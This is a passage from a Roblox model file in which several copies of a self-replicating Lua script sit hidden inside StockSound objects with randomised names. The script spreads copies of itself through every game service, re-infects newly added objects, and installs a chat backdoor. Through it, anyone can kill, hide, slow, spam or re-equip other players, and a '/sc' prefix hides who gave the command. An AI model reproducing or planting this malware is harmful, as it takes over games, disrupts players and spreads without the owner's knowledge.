plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Model" referent="RBX699">
					<Properties>
						<token name="Controller">7</token>
						<bool name="ControllerFlagShown">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Figure</string>
						<Ref name="PrimaryPart">null</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Humanoid" referent="RBX700">
						<Properties>
							<float name="Health">0</float>
							<bool name="Jump">false</bool>
							<float name="MaxHealth">100</float>
							<string name="Name">Humanoid</string>
							<bool name="Sit">false</bool>
							<bool name="Strafe">false</bool>
							<Vector3 name="TargetPoint">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="WalkDirection">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="WalkRotationalVelocity">0</float>
							<float name="WalkSpeed">16</float>
							<Ref name="WalkToPart">null</Ref>
							<Vector3 name="WalkToPoint">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX701">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">051ujej0</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX702">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">rh2wmr9n8</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX703">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">3h7lfva8t</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX704">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">ai5vfa</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
